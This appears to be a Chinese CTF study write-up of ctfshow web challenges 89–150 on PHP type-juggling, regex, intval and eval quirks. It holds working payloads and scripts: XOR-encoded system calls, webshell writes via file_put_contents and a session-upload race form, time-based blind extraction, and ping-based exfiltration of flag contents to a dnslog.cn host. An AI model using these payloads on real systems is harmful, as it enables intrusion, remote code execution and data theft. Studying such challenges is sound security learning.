ctfshow_web入門 PHP特性


PHP特性

這里以半做題,半學習為主,所以就顯得比較啰嗦

阿巴阿巴,但是實際上,寫得比較水,等過一段時間再總結一下

比較深刻的印象是:下一個手冊,多看手冊

從web135還是幾開始,就是看的這個師傅的博客了

web 89

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

preg_match()函數一個漏洞 無法處理數組

image-20210728184924381

所以構造數組繞過:

?num[]=1
?num[]=也行

額,寫了一個小腳本測試了一下

image-20210728190827045

也算是傳入了值的(算是傳入了空嘛),所以數組中有元素

傳入的元素是字符串類型的。

web 90

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

image-20210728204839872

所以考慮傳入一個16進制或者8進制的了

payload

?num=010574
?num=0x117c
?num=4476a

intval()函數如果$base為0,則$var中存在字母的話遇到字母就停止讀取,傳入4476a會將后面的a丟棄,比較前面的

web 91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

額,做題犯迷糊了,主要是一直想不懂phpphp%0aphpphp%0aphp可以拿到flag,

一直沒理解到,好吧,現在也迷糊。因為是學習,所以不能直接拿到flag就過了

原來是正則理解錯了,/^php$/只能夠匹配'php',當時鬼使神差的以為是首尾是php就行

正本表達式全集

payload

?cmd=%0aphp
第一個if,因為它是多行匹配,所以匹配第二行的php過濾
第二個if,因為我們傳入%0a是空格,在文件夾中的顯示(如下圖),所以沒有匹配上

image-20210729154103179

在padnote++中視圖,顯示字符,設置的全部顯示

看了一下hint,里面有一個關於文件上傳中Apache解析的漏洞

Apache HTTPD 換行解析漏洞(CVE-2017-15715)與拓展

利用最新Apache解析漏洞(CVE-2017-15715)繞過上傳黑名單

簡單來說就是,Apache2.4.0~2.4.29中在.php的16進制后面加上0a被解析為PHP文件執行了(在利用.php.xxx)繞過那一關,離譜,burp2021沒有hex的選項,所以在后面添加0x0a有需要百度一下。對文件上傳的腳本也有要求,限制條件有點多,還是請看看上面兩個博客。

web 92

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

普通繞過

感覺和web89差不多,payload:

?num=0x117c
因為是個字符串(前面有演示,只是用的數據是123456),所以第一個判斷繞過了
intval檢查字符串首部是不是0x,是就當做16進制解析為10進制,且117c的十進制是4476
所以通過判斷

hint,不懂這是什么方法

intval()函數如果$base為0,則$var中存在字母的話遇到字母就停止讀取

但是e這個字母比較特殊,可以在PHP中不是科學計數法。

所以為了繞過前面的==4476

我們就可以構造 4476e123 其實不需要是e其他的字母也可以

不過問題是,說的能用其它字符,但是只有e是可以的,由於懶(但是不能懶),所以寫一個腳本進行測試,發現,確實只有e才能夠得flag,不然第一個判斷,強弱類型比較就nonono了

image-20210729172800939

再進行php腳本的一個判斷輸入的4476e123為什么類型

SQL注入代碼判斷

一般是使用?id=1'進行判斷。在這之前,可以傳入一個?id[]=1的數組進去;

如果返回頁面是:?id=1,那么就可以找下一個注入點了,因為接受id的代碼寫法可能是

$id=intval($_GET['id']);

web 93

web92+過濾輸入的字母

payload:?num=010574利用8進制繞過

web 94

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
strpos查找"0"在$num中第一次出現的位置。如果匹配不了也返回NULL;

PHP strpos()函數,W3school

payload

?num=4476.01	必須加一個0,否則第三個判斷會因為匹配不到0,而返回空
?num=空格010574	加上一個空格過濾,不太清楚原因
?num=%20010574   加上一個空格的url編碼,不太清楚原因
?num=%0a010574	 加深換行符的url編碼
?num=+010574	 加上+,不太清楚原因
?num=%2b010574	 加上+的url編碼,不太清楚原因

web 95

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
過濾了小數點,還將強匹配改成了弱匹配

payload

?num=空格010574	前面加一個空格過濾,不太清楚原因?num=%20010574   加上空格的url編碼,不太清楚原因?num=%0a010574	 加深換行符的url編碼

寫了一個腳本,跑了一下,看看那些字符添加之后,不會影響intval()函數的運行,有的是不可見字符,就直接給出asc的十六進制了。腳本就放下面了,名字是:不會影響intval()的可見與不可見字符

1:0x9字符是 水平定位符2:0xa字符是 換行符3:0xb字符是 垂直定位符4:0xc字符是 換頁鍵5:0xd字符是 歸位符6:0x20字符是 控制設備4(空格)7:0x2b字符是 +

web 96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

payload

絕對路徑:/var/www/html/flag.php相對路徑:./flag.php

偽協議:(我一直以為偽協議只有用在include中才能用)

?u=php://filter/convert.base64-encode/resource=flag.php

web 97

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

payload

post a[]=&b[]=123

理解不了,強行記憶

傳入數組,比較時,比較傳入對象(數組也算對象)的元素,在進行md5加密判斷時,md5()函數加密的都是空字符

web 98

<?
include("flag.php");
$_GET?$_GET=&$_POST:'flag';		
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

$_GET變量是什么 $_SERVER是什么(頭信息)

是真的有點繞,簡單來說,首先要看懂三目運算符,接着要看懂引用。

$_GET$_POST分別采集get和post表單中的數據,是數組,$_GET=&$_POST意思是,給$_GET賦值為$_POST的值。簡單來說就是,$_GET['123']=1成了$_POST['123']=123,大概就是這樣。

?a=a
psot flag=asdf&HTTP_FLAG=flag

?a=a
post HTTP_FLAG=flag

?a=a
post flag=flag
cookie HTTP_FLAG=flag

博客寫得很簡陋,可以看看這個

php函數的傳值與傳址(引用)詳解

php三元運算符與if的詳解

web99

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

額,試了一手,沒得過濾,看了一下hint,說的是in_array沒有設置第三個參數,就會將n=1.php自動轉換為1

?n=45.php
post content=<?php system('tac flag36d.php');?>

web 100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}

注意一點:and是或的意思,請看:額,不看了,記住是或不是且就行

然后payload,忘了,

v1=1&v2=eval($_POST[1])?>&v3=;或者v1=1&v2=var_dump($ctfshow)/*&v3=*/;(有點好奇,不封閉,不影響嗎)

web 101

學習了,學習了

利用反射類,Relectionclass()函數,作用:根據類名反射一個類。在代碼執行時,加入輸入一個A,但是在邏輯判斷之后,生成了一個B類,所以這時,用Relectionclass("A")來限定生成A類。

payload

echo new Reflectionclass('ctfshow')

拿到flag之后,因為flag比以前少了一位,所以要在末尾添加一個字符,進行爆破

web 102

題目:substr(字符串,起始位置,[結束位置]):截取字符串長度call_user_func 把第一個參數作為回調函數調用,后面的參數作為給回調函數的參數
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

用hint的方法就行,

get ?v2=115044383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=1.php
post v1=hex2bin

hex2bin 轉換十六進制字符串為二進制字符串

v2=115044383959474e6864434171594473:去掉前兩位數字(11,用來繞過substr)的截斷。同時也是16進制編碼的PD89YGNhdCAqYDs,而PD89YGNhdCAqYDs解碼出來是:

<?=`cat *`;

因為有e,所以被當做了科學計數法的數字(7.0.0及以下,也會將0x開頭的當做數字)。

再結合v1=hex2bin將v2轉化為PD89YGNhdCAqYDs,再通過v3實現偽協議的base64-decode通道解碼

image-20210802123016055

image-20210802120539210

web 103

白嫖102

web 104

沒有任何的過濾機制,所以直接上傳兩個相同的就是了

web 105

比較典型的參數覆蓋,仔細看看代碼就看得懂。

payload

1:?suces=flag&flag=	從die($suces)輸出flag
2:?suces=flag post error=suces	從die($error)輸出flag:
include('flag.php');
$error='你還想要flag嘛?';
$suces='既然你想要那給你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
    /*
    get傳入suces=flag,所以$suces=$flag(答案,已經進行了賦值)
    若傳入flag=,所以$flag=空,用來繞過一個判斷*/
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

web 106

同md5上傳數組

web 107

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}

image-20210802152144325

parse_str — 將字符串解析成多個變量,也就是說,v1傳遞的值,以數組方式放到v2中去了。

payload1

get ?v3=1
post v1=flag=c4ca4238a0b923820dcc509a6f75849b
md5(1)=c4ca4238a0b923820dcc509a6f75849b

payload2

如果v3提交一個數組,返回值是NULL,那么可以不提交v2

get v3[]=1
post v1=

payload3

get ?v3=240610708
post v1=flag=0

web 108

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
ereg():正則表達式函數,沒有preg_match好用
strrev():字符串的倒敘

ereg()函數用指定的模式搜索一個字符串中指定的字符串,如果匹配成功返回true,否則,則返回false。搜索字 母的字符是大小寫敏感的。 ereg函數存在NULL截斷漏洞,導致了正則過濾被繞過,所以可以使用%00截斷正則匹配

get ?c=a%00778

web 109

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}

paylaod

v1=Exception&v2=system('cat fl36dg.txt')

web 110

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?>

payload1

get ?v1=FilesystemIterator&v2=getcwd	
getcwd():獲取當前文件目錄
FilesystemIterator&遍歷文件的類
DirctoryIntrerator 遍歷目錄的類

web 111

利用全局變量

?v1=ctfshow&v2=GLOBLS

web 112

可以直接

php://filter/read/resource

web 113

在web 112對的基礎上過濾了php

function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

payload

compress.zlib://flag.php

hint:利用目錄溢出,從而讓is_file認為不是一個文件

web 114

highlight_file()不能夠高亮數組,沒有過濾php和filter

payload

?file=php://filter/resource=flag.php

web 115

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

image-20210802224048026

%0C:換頁鍵

可能會有個問題,就是說,在filter()函數中,過濾了0,但是這里為什么能用%0c呢。因為,如果需要傳入不可見字符,但是沒有辦法,表示,所以就用了%+16進制數來代表添加的對應的符號,例如這里的%0c,雖然寫得有0,但是上傳之后,%0c表示換頁鍵,是一個不可見字符

web 123

PHP變量名應該只有數字字母下划線,同時GET或POST方式傳進去的變量名,會自動將空格 + . [轉換為_
但是有一個特性可以繞過,使變量名出現.之類的
特殊字符[, GET或POST方式傳參時,變量名中的[也會被替換為_,但其后的字符就不會被替換了
如 CTF[SHOW.COM=>CTF_SHOW.COM
payload

1.get CTF_SHOW=2&CTF[SHOW.COM=1&fun=echo $flag
2.get CTF_SHOW=2&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())

web 125

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
在web124的基礎上過濾了echo print_r var_dump

不過,可以使用var_export來進行輸出,所以payload

CTF_SHOW=2&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())

騷操作來了:

1.覆蓋fl0g(最騷)

函數:extract():從數組中將變量導入到當前的符號表

image-20210802233758560

image-20210802234103646

所以payload

CTF_SHOW=2&CTF[SHOW.COM=1&fl0g=flag_give_me&fun=extract($_POST)

2.文件包含

利用執行的eval,在fun中傳入highlight_file($_GET[1])

payload

get ?1=flag.phppost CTF_SHOW=2&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

3.argv上傳

argv只接受get傳入參數,post方式不行

image-20210803093447878

同樣,通過eval執行$a,對$fl0g進行賦值

paylaod

get ?$fl0g=flag_give_me;
post CTF%5BSHOW.COM=1&CTF_SHOW=2&fun=eval($a[0])

4.argv上傳——改

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

get /?$fl0g=flag_give_me
post CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

解法詳情,點擊跳轉

web 126

嫖web125,argv上傳的做法

web 127

$_SERVER['QUERY_STRING']是獲取url后面的參數以及值的,

image-20210803110339385

於是只能傳遞一個參數

所以這個題的考點是,怎么構造一個下划線。首先我們是知道[ . 空格會被轉化為下划線,恰好沒過濾空格,所以

payload

ctf show=ilove36d

嗯,這里打算跑一下,有哪些字符會被轉換為_

結果是:空格 + . [會被轉化為_

web 128

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}
call_user_func()把第一個參數作為回調函數,剩下的作為給回調函數的參數

新知識:

gettext()函數有一個別名:_

image-20210803121242893

gettext()的作用就是輸出一個字符串,image-20210803122021904

所以payload:

f1=_&f2=get_defined_vars

web 129

if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

image-20210803150227650

image-20210803150525038

額,說的是考慮目錄穿越,於是試了一下

./ctfshow/../index.php

image-20210803151137137

接着嘗試

./ctfshow/../flag.php

image-20210803151235555

發現是空白的,順手看眼源代碼,能讀到index.php所以應該能讀到flag.php

image-20210803151325571

web 130

?我直接上傳f=ctfshow成功了?

image-20210803152245618

/is		s是匹配換行

因為/.+?ctfshow/is前面是.+?,意思是,在ctfshow字符串前面有至少一個字符。所以直接上傳ctfshow能拿到flag。

如果設置表達式為:(.+)?那么ctfshow就無法繞過了

image-20210803153106071

web 131

include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

這個題考的是,正則表達式溢出,新知識了。

php正則表達式進行匹配有限制,超過限制直接返回flase

php正則失效-最大回溯(pcre.backtrack_limit)/遞歸限制

正則表達式,對一百萬長度后面的就不匹配了。

直接用hint的就行,如果復制粘貼太卡,可以試試這個腳本

import requests

url='http://ced5ea6a-1d3b-4f66-a3ff-61a42deeaec4.challenge.ctf.show:8080/'
data={
    'f':'show'*250002+'36Dctfshow'
}
re=requests.post(url=url,data=data).text
print(re)

web 132

訪問robots.txt,發現有一個admin目錄,訪問得到

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
    }
}

image-20210803172513983

嗷,對了忘了說,這里建議下載一個手冊,查函數的時候是真的方便

php中邏輯運算符的高效用法&&和||

image-20210803172925686

所以,看代碼;我們沒有辦法預測mt_rand()函數的值,又看運算;其實,一眼望過去,會發現,第一第二個判斷都是無法預測無法構造的,只能是FALSE,巧就巧在,前兩個過了,后面的username能夠進入判斷和能夠利用;

所以對username進行賦值admin,又由於code也要等於admin,所以給code也賦值為admin,反正code字符串時肯定不等於mt_rand()的隨機數的。password沒得什么用,不復制也行

?username=admin&password=&code=admin

image-20210803173333463

web 133

這題有點沒看懂,沒懂這個方法原理是怎么樣的。

給我的感覺是,訪問一個地址,然后在地址查詢記錄;恰好有個在線工具

image-20210803184204736

image-20210803184216079

每次外帶只能帶一條輸出來,讓后執行命令

payload是

?F=`$F`;+`ping "cat flag.php|grep ctfshow".atqwxp.dnslog.cn -c 1`

image-20210803184941460

顯然沒構造對,,,,

?F=`$F`;+ping `cat flag.php|grep ctfshow`.atqwxp.dnslog.cn -c 1

image-20210803185725803

先理解一下是怎么把flag帶出來的,接着再看怎么執行帶出flag的語句

傳入的是?F=`$F`;+ping `xxx`
``在PHP中相當於是shell_exec()的函數別名,類似gettext()函數別名為_()

代碼中進行了前六位的截斷,就只有`$F`;空格 	+上傳之后是空格
又因為$F=`$F`;+ping `xxx`;
所以,截斷后,執行的代碼是 eval(`$F`; ping `xxx`),
為什么前面還是有`$F`呢?,因為$F=`$F`;+ping `xxx`;套娃了
然后通過構造xxx,把flag拿出來,進行拼接,接着ping一下,sss.dnslog.cn。
最后查看記錄

大概就是這么一個意思

出題師傅的wp

群主師傅B站的講解

web 134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}
a&&b	如果a錯誤,不走b
a||b	如果b正確,不走b
$_SERVER['QUERY_STRING']是獲取get的參數以及值的
extract 從數組中將變量導入到當前的符號表(簡單來說就是,將數組里的鍵給搞成變量,將數組的值給對應的鍵)

image-20210803193521622

image-20210803193512000

payload

get ?_POST[key1]=36d&_POST[key2]=36d

原因是:
@parse_str($_SERVER['QUERY_STRING']); 將數據轉化為了,$_POST[key1]=36d
接着extract($_POST)將$_POST[key1]=36d轉化為了$key=36d

web 135

和web133差不多的方式,只是需要換一個nl flag

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"/"{"/"-"`.4qv6n3.dnslog.cn -c 1

拿到第一個flagflag1=ctfshow{fbfe4223341,就是有點不懂,為啥不加正則不行

然后有用 命令查看了一下是不是還有其他的文件,發現沒有

最后看了視頻才知道,原來在16行

image-20210803201428778

web 136

    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

這個要新學一個Linux的 命令:tee

image-20210803234035447

payload

get ?c=ls /|tee 1	掃描根目錄,將結果存入文件1中,由於過濾了. 所以不能加后綴
然后訪問url/1
get ?c=nl /f149_15_h3r3|tee 2

image-20210804001316970

image-20210804001524747

拿到flag

web 137

額,觀察一波,傳入一個ctfshow類中的方法

payload

post ctfshow=ctfshow::getFalg

web 138

import requests

cmd = 'cat /f149_15_h3r3'
result = ''
for i in range(1, 10):
    for j in range(1, 50):
        print('i=', i, ' j=', j)
        for k in range(32, 128):
            k = chr(k)
            payload = f"if [ `{cmd} |awk NR=={i}|cut -c {j}` == {k} ]; then sleep 3;fi"
            payload = '?c=' + payload
            url = 'http://15531f1c-3c8e-4e3f-9f0c-163a616f390d.challenge.ctf.show:8080/'
            try:
                requests.get(url + payload, timeout=(2.5, 2.5))
            except:
                result = result + k
                print(result)
                break
    result = result + "\n"

web 140

if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

這里看到eval,說實話,一開始想到的是命令執行,或者是外帶,或者是反射類,執行出來一個ctfshow字符串或者是。試了一下都不行,最后看了一下別人的博客,說的是只要eval執行的結果是0或者是NULL就行,但是不能報錯。

最后仔細一看,用弱比較過的判斷。intval()函數出來的必是一個數字,數字和字符串這里進行弱比較,數子就得是0了。

payload,隨便用哪一個

post f1=usleep&f2=usleep
post f1=gmdate&f2=gmdate
post f1=intval&f2=intval

web 141

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
is_numeric — 檢測變量是否為數字或數字字符串 (是,true;否,false)

image-20210804202732850

利用|運算來進行代碼執行,看的這一位師傅的wp

image-20210804221713959

payload

?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%20%06%0c%01%07%02%10%08%10"|"%60%60%60%20%60%60%60%60%2c%60%60%60");
system
cat flag.php

使用system('cat flag.php')不行

web 142

payload:

?v1=0

web 143

從這里開始建議去看這個博客了,我的代碼始終有點問題

看的這一位師傅的wp

payload

?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")?>

web 144

import re

content=''
count=0
preg='[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"'

for i in range(1,256):
    for j in range(1,256):
        if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
            k=i^j
            if 32<=k<=126:
                a='%'+hex(i)[2:].zfill(2)
                b='%'+hex(j)[2:].zfill(2)
                content=content+chr(k)+' '+a+' '+b+'\n'


#print(content)
f=open('exp_yh.txt','w')
f.write(content)
f.close()
#            print('pass'+chr(i)+'==>'+str(i))
while True:
    payload1=''
    payload2=''
    payload=''
    code=input('data: ')
    f=open('exp_yh.txt','r')
    lines=f.readlines()
    for c in code:        
        for line in lines:
            if c==line[0:1]:
                payload1=payload1+line[2:5]
                payload2=payload2+line[6:9]
                break
    payload='("'+payload1+'"^"'+payload2+'")'
    print('payload:'+payload)

因為是學習,不能總是抄別人的代碼,於是額手打了一次

?v1=1&v3=2&v2=*(%22%08%02%08%08%05%0d%22^%22%7b%7b%7b%7c%60%60%22)(%22%03%01%08%07%06%0c%01%07%02%0b%08%0b%22^%22%60%60%7c%27%60%60%60%60%2c%7b%60%7b%22)

web 145

?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%20%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|

格式1|()|2或者1?()2

web 146

同上

web 147

由於命名空間問題,如果要絕對調用一個函數,例如system,那么就要寫成\system

php里默認命名空間是\,所有原生函數和類都在這個命名空間中。 普通調用一個函數,如果直接寫函數名function_name()調用,調用的時候其實相當於寫了一個相對路 徑; 而如果寫\function_name()這樣調用函數,則其實是寫了一個絕對路徑。 如果你在其他namespace里調用系統類,就必須寫絕對路徑這種寫 法

paylaod

?show=;};phpinfo();/*
ctf=\create_function

image-20210806150000887

create_function詳細利用請看

代碼審計值create_function()函數

web 148

payload1

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");
查看源代碼

image-20210806151912163

web 149

條件競爭,沒有過濾,線程開高點

image-20210806161929727

image-20210806161859016

然后再調高一些

image-20210806164835203

web 150

可以嘗試用上傳文件的形式做,

首先要知道怎么繞過過濾,然后執行include($ctf)

審計代碼之后發現,有一個extract($_GET),可以用來上傳$isVIP=1繞過$isVIP。extract作用就不在贅述了

接着通過post上傳ctf,如果用get方式傳遞,會被過濾。從ctf上傳/tmp/sess_test如圖 :

image-20210806191602007

所以,在題目中,上傳ctf=/tmp/sess_test,那么/tmp/sess_test會被加載,如果文件滿足PHP格式,那么通過include后會執行PHP部分代碼。詳情可以看文件包含_web82

接着寫一個上傳文件的html代碼,上傳,同時在題目界面發送post的請求。

<html>
<body>

<form action="http://02b60c98-5818-4f14-b442-bfab88477ae3.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[test1]);?>');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

image-20210806193320883

image-20210806193344397

反復上傳,直到能夠訪問url/test1.php,接着利用rce拿到flag

image-20210806193444299

image-20210806193450242

web150_

題目和150幾乎一樣,只是了一個log過濾

方法同web150

這個方法,怎么說呢,感覺只要沒有過濾_ \,幾乎就是萬能的了,頂不住。

繞過intval

intval原理:https://www.runoob.com/php/php-intval-function.html,反復多看幾次

不繞過方式:(額,就是進入了這個判斷,if成功,才能拿到flag,不是else)

  1. 利用16進制和8進制
  2. 利用字符干擾,intval()函數如果$base為0,則$var中存在字母的話遇到字母就停止讀取,例如web92——hint

image-20210729174059432

  1. 數字前加上空格空格的url編碼 %20換行符的url編碼 %0a +,+的url編碼 %2b
1:0x9字符是 水平定位符
2:0xa字符是 換行符
3:0xb字符是 垂直定位符
4:0xc字符是 換頁鍵
5:0xd字符是 歸位符
6:0x20字符是 控制設備4(空格)
7:0x2b字符是 +

不會影響intval()的可見與不可見字符

import requests
# 額,所用的url是web95的題目環境;代碼寫的爛,請將就將就
url='http://74959170-6cdd-4bd3-9e06-3c749b1aa773.challenge.ctf.show:8080/'
url_test=url+'?num=010574'
url_right=url+'?num= 010574'
exp_len=len(requests.get(url_test).text)
right_len=len(requests.get(url_right).text)

useful=''
num=1

for i in range(1,255):
	URL=url+'?num='+chr(i)+'010574'
	lenth=len(requests.get(url=URL).text)
	#print (chr(i))
	if lenth!=exp_len:
		print(str(lenth)+'========>'+chr(i)+'====>'+str(hex(i)))
	if lenth==right_len:
		useful=useful+str(num)+':'+str(hex(i))+'字符是'+chr(i)+'\n'#+URL+'\n'
		num+=1
	

print(exp_len)
print(right_len)
print(useful)

image-20210729190414233

image-20210729190428423

多嘴一句,咋們貌似還可以將255給調大點,雖然后面的貌似都沒有什么作用

八卦都整出來了,都沒有合適的(吃飯的時候跑了一下玩一玩)

image-20210729212904433

反射類

web 101

SplFileInfo
mysqli
exception

md5 sha1

  1. 數組繞過
  2. md5(array())返回值為NULL

覆蓋類

  1. 全局變量 GLOBALS
  2. is_file函數可以使用包裝器偽協議繞過,不影響file_get_contents highlight_file
  3. readfile考慮目錄穿越,
  4. include也可以考慮目錄穿越

帶出類

特點:只會給6個位置,沒過濾反引號

利用http://dnslog.cn來講查詢到的flag帶出道記錄中


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM